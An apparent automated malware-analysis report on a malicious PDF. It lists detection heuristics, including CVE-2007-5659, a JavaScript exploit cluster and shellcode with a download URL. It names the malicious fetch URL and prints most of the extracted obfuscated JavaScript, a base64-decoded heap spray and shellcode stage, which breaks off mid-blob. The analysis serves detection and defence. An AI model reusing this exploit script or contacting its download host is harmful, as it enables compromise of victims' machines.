MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF and JavaScript. The embedded JavaScript stream, named 'javascript_obj0009_000.js', is likely responsible for malicious activity. The heuristics suggest obfuscation and a long encoded blob, pointing towards a downloader or exploit execution. The exact intent of the script cannot be fully determined due to potential obfuscation, but it is designed to execute malicious code.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://tthhllkk.info//getexe.php?spl=pdf_exp Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0009_000.js |
pdf-javascript-stream | PDF /JS object 9 at offset 0xD6 | 19737 bytes |
SHA-256: d3eb9e3c354d76a572445464db59a12e6d9abf8664fdf069fd41b6edac2ba113 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyXXXStr.indexOf(input.charAt(i++));
enc2 = keyXXXStr.indexOf(input.charAt(i++));
enc3 = keyXXXStr.indexOf(input.charAt(i++));
enc4 = keyXXXStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
var aasd = decode64("CiB2YXIgRldyak9GaCA9IG5ldyBBcnJheSgpOwogdmFyIFVObEFwcmI7CiB2YXIgbGF2ZSA9IGV2YWw7CiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTYyJTM3JTUwJTU1JTRiJTQzJTQ5JTI4JTcyJTQyJTZiJTY0JTMwJTQyJTZlJTJjJTIwJTUyJTcxJTRiJTYyJTQyJTZkJTRhJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTcyJTQyJTZiJTY0JTMwJTQyJTZlJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTUyJTcxJTRiJTYyJTQyJTZkJTRhJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTIwJTJiJTNkJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTIwJTNkJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTUyJTcxJTRiJTYyJTQyJTZkJTRhJTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTNiJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTZmJTdhJTQ1JTUwJTU4JTQyJTU1JTI4JTYzJTM3JTY1JTQzJTU1JTRmJTUxJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYzJTM3JTY1JTQzJTU1JTRmJTUxJTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTYxJTQ3JTZiJTZlJTRmJTQ5JTRiJTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTQzJTM4JTQ3JTUyJTRiJTRkJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM0JTMyJTQ2JTI1JTc1JTM2JTM4JTM3JTM0JTI1JTc1JTM2JTQzJTM2JTM4JTI1JTc1JTM2JTQyJTM2JTQzJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTQ1JTM2JTM5JTI1JTc1JTM2JTQ2JTM2JTM2JTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTYzJTM3JTY1JTQzJTU1JTRmJTUxJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTYxJTQ3JTZiJTZlJTRmJTQ5JTRiJTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTQzJTM4JTQ3JTUyJTRiJTRkJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM0JTMyJTQ2JTI1JTc1JTM2JTM4JTM3JTM0JTI1JTc1JTM2JTQzJTM2JTM4JTI1JTc1JTM2JTQyJTM2JTQzJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTQ1JTM2JTM5JTI1JTc1JTM2JTQ2JTM2JTM2JTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTYzJTM3JTY1JTQzJTU1JTRmJTUxJTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTQzJTM4JTQ3JTUyJTRiJTRkJTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM0JTMyJTQ2JTI1JTc1JTM2JTM4JTM3JTM0JTI1JTc1JTM2JTQzJTM2JTM4JTI1JTc1JTM2JTQyJTM2JTQzJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTQ1JTM2JTM5JTI1JTc1JTM2JTQ2JTM2JTM2JTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU0JTZhJTYyJTY5JTM0JTM5JTVhJTIwJTNkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ5JTVhJTc5JTQzJTUyJTZiJTM1JTIwJTNkJTIwJTQ0JTQzJTM4JTQ3JTUyJTRiJTRkJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUyJTcxJTRiJTYyJTQyJTZkJTRhJTIwJTNkJTIwJTU0JTZhJTYyJTY5JTM0JTM5JTVhJTIwJTJkJTIwJTI4JTQ5JTVhJTc5JTQzJTUyJTZiJTM1JTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTIwJTNkJTIwJTYyJTM3JTUwJTU1JTRiJTQzJTQ5JTI4JTcyJTQyJTZiJTY0JTMwJTQyJTZlJTJjJTIwJTUyJTcxJTRiJTYyJTQyJTZkJTRhJTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc2JTY2JTY0JTZmJTcyJTQ5JTVhJTIwJTNkJTIwJTI4JTYxJTQ3JTZiJTZlJTRmJTQ5JTRiJTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JT